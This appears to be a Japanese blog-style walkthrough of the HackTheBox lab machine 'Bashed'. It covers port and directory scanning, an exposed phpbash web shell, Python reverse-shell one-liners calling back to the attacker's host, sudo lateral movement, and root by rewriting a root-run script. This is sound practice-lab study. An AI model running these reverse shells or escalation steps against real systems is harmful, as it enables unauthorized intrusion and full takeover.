🔥
HackTheBox Bashed
Bashed
侵入
nmap
ポートスキャンを行う
┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.68 -oN nmap.log
Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-13 00:10 JST
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
PORT STATE SERVICE REASON VERSION
80/tcp open tcpwrapped syn-ack ttl 63
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/13%OT=80%CT=1%CU=37533%PV=Y%DS=2%DC=T%G=Y%TM=631F4C3
OS:=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
80番ポートを発見
web
web ページにアクセスしてみる
特に情報は見当たらない
gobuster
ディレクトリ探索を行う
┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ gobuster dir -u http://10.10.10.68/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.68/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/13 00:12:56 Starting gobuster in directory enumeration mode
===============================================================
/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/index.html (Status: 200) [Size: 7743]
/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/server-status (Status: 403) [Size: 299]
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2022/09/13 00:14:51 Finished
===============================================================
dev や uploads を発見
dev
dev にアクセスしてみる
phpbash.php、phpbash.min.php を発見
phpbash.php
ターミナルのような画面が出力された
実際に www-data としてコマンドが実行できることがわかる
www-data としてのシェル
python
以下のコマンドを実行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
kali 側
┌──(kali㉿kali)-[~/Desktop/Bashed]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.68] 35628
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
シェルの取得に成功
shell アップグレード
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bashed:/var/www/html/dev$
アップグレード成功
user フラグ
www-data@bashed:/home/arrexel$ ls -l
total 4
-r--r--r-- 1 arrexel arrexel 33 Sep 12 08:05 user.txt
www-data@bashed:/home/arrexel$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグの取得に成功
列挙
sudo
とりあえず sudo を確かめてみる
www-data@bashed:/home$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
scriptmanager で NOPASSWD を確認
scriptmanager としてのシェル
bash
以下のコマンドを実行
www-data@bashed:/home$ sudo -u scriptmanager bash -i
scriptmanager@bashed:/home$
シェルの取得に成功
権限昇格
find
scriptmanager が所有するものを検索する
scriptmanager@bashed:/home$ find / -user scriptmanager 2>/dev/null
/scripts
/scripts/test.py
/home/scriptmanager
/home/scriptmanager/.profile
scripts を発見
scripts
test.py と test.txt を発見
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
test.txt に書き込みを行なっているようなコード
scriptmanager@bashed:/scripts$ cat test.txt
testing 123!
出力から読みが当たっていることを確認
scriptmanager@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Sep 12 08:57 test.txt
test.txt は root が所有しているが、書き込みできている
test2.txt
test.py の内容を以下のように変更
scriptmanager@bashed:/scripts$ cat test.py
f = open("test2.txt", "w")
f.write("testing 123!")
f.close
test2.txt に対して書き込みを行うようにする
scriptmanager@bashed:/scripts$ ls -l
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 59 Sep 12 09:14 test.py
-rw-r--r-- 1 root root 12 Sep 12 09:08 test.txt
-rw-r--r-- 1 root root 12 Sep 12 09:16 test2.txt
test2.txt が作成され、うまく実行できたことがわかった
exploit
シェルの取得を目指す
scriptmanager@bashed:/scripts$ cat test.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.5",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
test.py の内容を上記のように変更
root としてのシェル
nc
┌──(kali㉿kali)-[~/Desktop/HackTheBox/Bashed]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.68] 35300
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
権限昇格成功
root フラグ
# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグの取得に成功
所感
今回は簡単なボックスだったが、基本的な知識を復習する意味でもいい勉強になったと思う。test.py の仕組みを完全に理解することは出来ていないので、他の攻略記事を参考にして勉強していきたい。
Discussion